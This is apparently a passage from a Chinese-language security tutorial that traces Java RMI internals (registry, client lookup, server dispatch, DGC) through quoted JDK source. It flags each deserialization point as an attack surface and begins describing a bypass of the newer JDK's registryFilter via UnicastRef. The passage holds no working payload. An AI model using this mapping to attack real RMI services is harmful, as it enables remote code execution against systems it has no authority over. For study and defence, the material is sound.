static void putTarget(Target target) throws ExportException {
...
objTable.put(oe, target);
implTable.put(weakImpl, target);

...
}

在静态表中,一共有三个Stub,其中一个是DGCImpl_Stub(分布式垃圾回收,默认创建),可以在表中点着看看,实际上其实和远程服务是一个东西

这就是创建注册中心的流程

绑定

相比于其他的,这个绑定流程就非常简单了
1
r.bind("remoteObj",remoteObj);

进入到bind方法中

其中checkAccess方法是检查是否在本地绑定

bindings是一个静态表,bindings.get是从静态表中寻找name的,如果说表中存在该name的绑定,则会抛出一个AlreadyBoundException的异常,如果没有的话,就会将(name,远程对象)put进去。

1
2
3
4
5
6
7
8
9
10
11
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}

tips:在RMI的实现上,要求注册中心和服务端在同一台主机上,低版本时实现上允许远程绑定,导致一些漏洞

客户端请求注册中心-客户端

客户端会做两件事情,第一个就是向注册中心去拿远程对象的代理,第二个对服务端进行一个调用

有人会觉得,我获取一个远程对象,肯定要有序列化和反序列化,但实际却不太一样

1
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

实际,我们将ip和端口传入,他首先是封装了一个LiveRef,然后调用Util.createProxy方法

和我们之前看到的创建流程好像一样,其实是在本地创建了一个,我们就有了注册中心的stub对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// LocateRegistry#getRegistry
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
// LocateRegistry#getRegistry
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;

if (port <= 0)
port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

下一步就是去查找远程对象,客户端将名字给过去,获取到一个远程对象的代理

1
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

我们进入lookup方法看一下,首先它将我们传入的那个名字(字符串),写入了一个输出流,就是序列化进去了,后续肯定还有一个反序列化的点

后面还有一个读输入流的地方,将输入流读出来的进行反序列化,赋值到var23上,我们可以知道,这个var23就是我们从注册中心获取回来的stub

其中对从注册中心读到的输入流进行反序列化的这个地方,可能就存在攻击点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

super.ref.invoke(var2);调用了UnicastRefinvoke方法,它调用了executeCall方法,这个方法是用来处理网络请求的

1
2
3
4
5
6
7
8
public void invoke(RemoteCall call) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");

call.executeCall();

} ...
}

这里还存在一个攻击点,就在StreamRemoteCallexecuteCall方法中

如果返回异常,且异常为TransportConstants.ExceptionalReturn,就会将这个异常反序列化出来,如果说注册中心返回一个恶意的流,就会导致客户端被攻击

这里的攻击面是非常广的,只要调用了StreamRemoteCall#executeCall或者说UnicastRef#invoke,就会有攻击面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void executeCall() throws Exception {
...

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

客户端请求服务端-客户端

我们来看一下客户端请求服务端,客户端是怎么做的
1
System.out.println(remoteObj.sayHello("SheepSean"));

第一步,我们会走到一个非预期的地方,因为remoteObj是一个动态远程代理,调用它的任何方法,都会跳到invoke方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}

if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}

最后它走到了invokeRemoteMethod中,在其中,我们要看一下ref.invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
......
}
}

UnicastRef#invoke中,仍然调用了call.executeCall(),我们知道,只要与网络请求有关的就会调用它,这里会有一个攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}

if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}

Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;

/* If the call connection is "reused" early, remember not to
* reuse again.
*/
boolean alreadyFreed = false;

try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}

// create call context
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);

// marshal parameters
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}

// unmarshal return
call.executeCall();

try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();

/* StreamRemoteCall.done() does not actually make use
* of conn, therefore it is safe to reuse this
* connection before the dirty call is sent for
* registered refs.
*/
Object returnValue = unmarshalValue(rtype, in);

/* we are freeing the connection now, do not free
* again or reuse.
*/
alreadyFreed = true;

/* if we got to this point, reuse must have been true. */
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

/* Free the call's connection early. */
ref.getChannel().free(conn, true);

return returnValue;

} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} catch (ClassNotFoundException e) {
clientRefLog.log(Log.BRIEF,
"ClassNotFoundException unmarshalling return: ", e);

throw new UnmarshalException("error unmarshalling return", e);
} finally {
try {
call.done();
} catch (IOException e) {
/* WARNING: If the conn has been reused early,
* then it is too late to recover from thrown
* IOExceptions caught here. This code is relying
* on StreamRemoteCall.done() not actually
* throwing IOExceptions.
*/
reuse = false;
}
}

} catch (RuntimeException e) {
/*
* Need to distinguish between client (generated by the
* invoke method itself) and server RuntimeExceptions.
* Client side RuntimeExceptions are likely to have
* corrupted the call connection and those from the server
* are not likely to have done so. If the exception came
* from the server the call connection should be reused.
*/
if ((call == null) ||
(((StreamRemoteCall) call).getServerException() != e))
{
reuse = false;
}
throw e;

} catch (RemoteException e) {
/*
* Some failure during call; assume connection cannot
* be reused. Must assume failure even if ServerException
* or ServerError occurs since these failures can happen
* during parameter deserialization which would leave
* the connection in a corrupted state.
*/
reuse = false;
throw e;

} catch (Error e) {
/* If errors occurred, the connection is most likely not
* reusable.
*/
reuse = false;
throw e;

} finally {

/* alreadyFreed ensures that we do not log a reuse that
* may have already happened.
*/
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " +
reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

还有一个地方,这个方法会将传入的参数传入marshalValue中,这里面是进行序列化操作的,那么有序列化,肯定还有反序列化,就在executeCall后的unmarshalValue方法内,将传回来的参数进行反序列化,这里就又存在一个攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

客户端请求注册中心-注册中心

接下来我们看看当客户端请求注册中心的时候,注册中心做了一些什么样的操作
1
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

服务端调用Skel,客户端调用Stub,所以断点应该下载RegistryImpl_Skel类中,我们也是需要看下到底是怎么调用到RegistryImpl_Skel中的

我们走到之前的listen方法处,listen方法创建了一个新的线程,主要需要去看AcceptLoop里面的run方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint ep = getEndpoint();
int port = ep.getPort();

if (server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF,
"(port " + port + ") create server socket");
}

try {
server = ep.newServerSocket();
/*
* Don't retry ServerSocket if creation fails since
* "port in use" will cause export to hang if an
* RMIFailureHandler is not installed.
*/
Thread t = AccessController.doPrivileged(
new NewThreadAction(new AcceptLoop(server),
"TCP Accept-" + port, true));
t.start();
} catch (java.net.BindException e) {
throw new ExportException("Port already in use: " + port, e);
} catch (IOException e) {
throw new ExportException("Listen failed on port: " + port, e);
}
......
}

在AcceptLoop的run方法中,其实并没有什么东西,只有一个executeAcceptLoop方法,走入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void run() {
try {
executeAcceptLoop();
} finally {
try {
/*
* Only one accept loop is started per server
* socket, so after no more connections will be
* accepted, ensure that the server socket is no
* longer listening.
*/
serverSocket.close();
} catch (IOException e) {
}
}
}

在executeAcceptLoop方法中,创建了新的线程ConnectionHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private void executeAcceptLoop() {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "listening on port " +
getEndpoint().getPort());
}

while (true) {
Socket socket = null;
try {
socket = serverSocket.accept();

/*
* Find client host name (or "0.0.0.0" if unknown)
*/
InetAddress clientAddr = socket.getInetAddress();
String clientHost = (clientAddr != null
? clientAddr.getHostAddress()
: "0.0.0.0");

/*
* Execute connection handler in the thread pool,
* which uses non-system threads.
*/
try {
connectionThreadPool.execute(
new ConnectionHandler(socket, clientHost));
} catch (RejectedExecutionException e) {
closeSocket(socket);
tcpLog.log(Log.BRIEF,
"rejected connection from " + clientHost);
}

}
......
}
}

我们看TCPTransport的run方法,在其被调用时,其方法内部会调用run0方法

其中较为重要的就是handleMessages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// TCPTransport#run
public void run() {
Thread t = Thread.currentThread();
String name = t.getName();
try {
t.setName("RMI TCP Connection(" +
connectionCount.incrementAndGet() +
")-" + remoteHost);
AccessController.doPrivileged((PrivilegedAction<Void>)() -> {
run0();
return null;
}, NOPERMS_ACC);
} finally {
t.setName(name);
}
}

// TCPTransport#run0
private void run0() {

......
// read input messages
handleMessages(conn, true);
break;

......
}

在handleMessages方法中,op在默认情况下都是TransportConstants.Call,所以最后会调用到serviceCall方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void handleMessages(Connection conn, boolean persistent) {
int port = getEndpoint().getPort();

try {
DataInputStream in = new DataInputStream(conn.getInputStream());
do {
int op = in.read(); // transport op
if (op == -1) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " +
port + ") connection closed");
}
break;
}

if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + port +
") op = " + op);
}

switch (op) {
case TransportConstants.Call:
// service incoming RMI call
RemoteCall call = new StreamRemoteCall(conn);
if (serviceCall(call) == false)
return;
break;

case TransportConstants.Ping:
......
}
} while (persistent);

}
}

serviceCall方法中会从静态表中读取处Targert

此时serviceCall中disp是一个RegistryImpl_Skel类,该方法会从target中提取出dispatcher

最后会调用到disp.dispatch方法,进入到RegistryImpl_Skel类的dispatch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public boolean serviceCall(final RemoteCall call) {
try {
......
Transport transport = id.equals(dgcID) ? null : this;
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

final Dispatcher disp = target.getDispatcher();
target.incrementCallCount();

try {
/* call the dispatcher */
transportLog.log(Log.VERBOSE, "call dispatcher");

final AccessControlContext acc =
target.getAccessControlContext();
ClassLoader ccl = target.getContextClassLoader();

ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();

try {
setContextClassLoader(ccl);
currentTransport.set(this);
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
checkAcceptPermission(acc);
disp.dispatch(impl, call);
return null;
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (IOException) pae.getException();
}
} finally {
setContextClassLoader(savedCcl);
currentTransport.set(null);
}

} catch (IOException ex) {
transportLog.log(Log.BRIEF,
"exception thrown by dispatcher: ", ex);
return false;
} finally {
target.decrementCallCount();
}

} catch (RemoteException e) {

// if calls are being logged, write out exception
if (UnicastServerRef.callLog.isLoggable(Log.BRIEF)) {
// include client host name if possible
String clientHost = "";
try {
clientHost = "[" +
RemoteServer.getClientHost() + "] ";
} catch (ServerNotActiveException ex) {
}
String message = clientHost + "exception: ";
UnicastServerRef.callLog.log(Log.BRIEF, message, e);
}

try {
ObjectOutput out = call.getResultStream(false);
UnicastServerRef.clearStackTraces(e);
out.writeObject(e);
call.releaseOutputStream();

} catch (IOException ie) {
transportLog.log(Log.BRIEF,
"exception thrown marshalling exception: ", ie);
return false;
}
}

return true;
}
}

客户端请求服务端-服务端

服务端和注册中心的流程其实一样,当客户端去调用服务端远程方法时,最后也会进入serviceCall方法,调用dispatch方法
1
disp.dispatch(impl, call);

进入dispatch方法后,我们可以看到,当skel为null的时候,才能走到下面的代码,第一个target为DGC,此时skel不为空直接返回

当我们请求到服务端动态代理后,发现skel为空,则不会直接返回而是走到下面的代码。

首先会读取输入流,从输入流中先获取到method,就是我们所调用的sayhello方法

接下来会将我们的参数用unmarshalValue反序列化出来,再调用method.invoke方法去调用我们所调用的sayHello方法,然后会用marshalValue将函数的返回值result序列化进去,将其传回客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
public void dispatch(Remote obj, RemoteCall call) throws IOException {
// positive operation number in 1.1 stubs;
// negative version number in 1.2 stubs and beyond...
int num;
long op;

try {
// read remote call header
ObjectInput in;
try {
in = call.getInputStream();
num = in.readInt();
if (num >= 0) {
if (skel != null) {
oldDispatch(obj, call, num);
return;
} else {
throw new UnmarshalException(
"skeleton class not found but required " +
"for client version");
}
}
op = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}

MarshalInputStream marshalStream = (MarshalInputStream) in;
marshalStream.skipDefaultResolveClass();

Method method = hashToMethod_Map.get(op);
if (method == null) {
throw new UnmarshalException("unrecognized method hash: " +
"method not supported by remote object");
}

// if calls are being logged, write out object id and operation
logCall(obj, method);

// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];

try {
unmarshalCustomCallData(in);
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
} catch (java.io.IOException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} catch (ClassNotFoundException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}

// make upcall on remote object
Object result;
try {
result = method.invoke(obj, params);
} catch (InvocationTargetException e) {
throw e.getTargetException();
}

// marshal return value
try {
ObjectOutput out = call.getResultStream(true);
Class<?> rtype = method.getReturnType();
if (rtype != void.class) {
marshalValue(rtype, result, out);
}
} catch (IOException ex) {
throw new MarshalException("error marshalling return", ex);
/*
* This throw is problematic because when it is caught below,
* we attempt to marshal it back to the client, but at this
* point, a "normal return" has already been indicated,
* so marshalling an exception will corrupt the stream.
* This was the case with skeletons as well; there is no
* immediately obvious solution without a protocol change.
*/
}
} catch (Throwable e) {
logCallException(e);

ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
out.writeObject(e);
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
}

客户端请求服务端-DGC

创建

DGC是RMI中分布式垃圾回收的模块

之前我们看到,在静态表中,除了我们所创建的两个Target,还有一个DGC的Target,DGC这个类实际是在DGCImpl.dgcLog.isLoggable(Log.VERBOSE)这里被创建的,有人可能问,这里不是就简单的一行代码调用吗,我们之前讲过,调用一个类的静态变量时候,是会完成类的初始化的

我们在put Target的地方下一个断点,这里put的Target是一个动态代理类,说明在我们将Target放入静态表的时候,DGC已经被创建好并放入静态表中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void putTarget(Target target) throws ExportException {
ObjectEndpoint oe = target.getObjectEndpoint();
WeakRef weakImpl = target.getWeakImpl();

if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + oe);
}

synchronized (tableLock) {
/**
* Do nothing if impl has already been collected (see 6597112). Check while
* holding tableLock to ensure that Reaper cannot process weakImpl in between
* null check and put/increment effects.
*/
if (target.getImpl() != null) {
if (objTable.containsKey(oe)) {
throw new ExportException(
"internal error: ObjID already in use");
} else if (implTable.containsKey(weakImpl)) {
throw new ExportException("object already exported");
}

objTable.put(oe, target);
implTable.put(weakImpl, target);

if (!target.isPermanent()) {
incrementKeepAliveCount();
}
}
}
}
1
2
3
static final Log dgcLog = Log.getLog("sun.rmi.dgc", "dgc",
LogStream.parseLevel(AccessController.doPrivileged(
new GetPropertyAction("sun.rmi.dgc.logLevel"))));

在类初始化的时候实际上也是会走到它类中的静态代码块的位置,在静态代码块的中间,实际就new了一个DGCImpl,后续的创建方式,也就和创建注册中心的方法很类似了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static {
/*
* "Export" the singleton DGCImpl in a context isolated from
* the arbitrary current thread context.
*/
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
ClassLoader savedCcl =
Thread.currentThread().getContextClassLoader();
try {
Thread.currentThread().setContextClassLoader(
ClassLoader.getSystemClassLoader());

/*
* Put remote collector object in table by hand to prevent
* listen on port. (UnicastServerRef.exportObject would
* cause transport to listen.)
*/
try {
dgc = new DGCImpl();
ObjID dgcID = new ObjID(ObjID.DGC_ID);
LiveRef ref = new LiveRef(dgcID, 0);
UnicastServerRef disp = new UnicastServerRef(ref);
Remote stub =
Util.createProxy(DGCImpl.class,
new UnicastRef(ref), true);
disp.setSkeleton(dgc);

Permissions perms = new Permissions();
perms.add(new SocketPermission("*", "accept,resolve"));
ProtectionDomain[] pd = { new ProtectionDomain(null, perms) };
AccessControlContext acceptAcc = new AccessControlContext(pd);

Target target = AccessController.doPrivileged(
new PrivilegedAction<Target>() {
public Target run() {
return new Target(dgc, disp, stub, dgcID, true);
}
}, acceptAcc);

ObjectTable.putTarget(target);
} catch (RemoteException e) {
throw new Error(
"exception initializing server-side DGC", e);
}
} finally {
Thread.currentThread().setContextClassLoader(savedCcl);
}
return null;
}
});
}

在调用createProxy时候,stubClassExists还是会去检查,JDK中有没有DGCImpl_Stub,确实是有这个类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
......

if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

......
}

发现存在这个类,就将其实例化并返回true

和注册中心相类似,注册中心的端口用来注册服务,而DGC的端口是用来远程回收服务,只是端口不是确定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

功能

在DGCImpl_Stub中存在两个方法,可以理解为一个比较弱的清理,一个比较干净的清理

下面的两个方法都存在风险点,他们都调用了UnicastRef的invoke方法,我们之前说过,这个方法存是存在风险的

还有一个就在dirty的var9.readObject()处,会进行一个反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}

return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}

我们接下来看看服务端DGCImpl_Skel

其中有两个case,应该就是clean和dirty了,其中也是明显的几处反序列化的地方,都存在着攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

Java高版本绕过

在Java高版本中,在RegistryImpl类中新加了一个registryFilter方法,里面对所传入的序列化对象的类型进行了限制
1
2
3
4
5
6
7
8
9
10
11
12
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

其中有希望利用的只有Proxy和UnicastRef类,其中最重要的是UnicastRef类,在这个类中有一个invoke方法 ,在修复以后,客户端的被攻击点是没有被修复的,我们就想如果能让服务端去发送一个客户端请求,就会暴露出攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();
} catch (RemoteException var3) {
clientRefLog.log(Log.BRIEF, "exception: ", var3);
this.free(var1, false);
throw var3;
} catch (Error var4) {
clientRefLog.log(Log.BRIEF, "error: ", var4);
this.free(var1, false);
throw var4;
} catch (RuntimeException var5) {
clientRefLog.log(Log.BRIEF, "exception: ", var5);
this.free(var1, false);
throw var5;
} catch (Exception var6) {
clientRefLog.log(Log.BRIEF, "exception: ", var6);
this.free(var1, true);
throw var6;
}
}

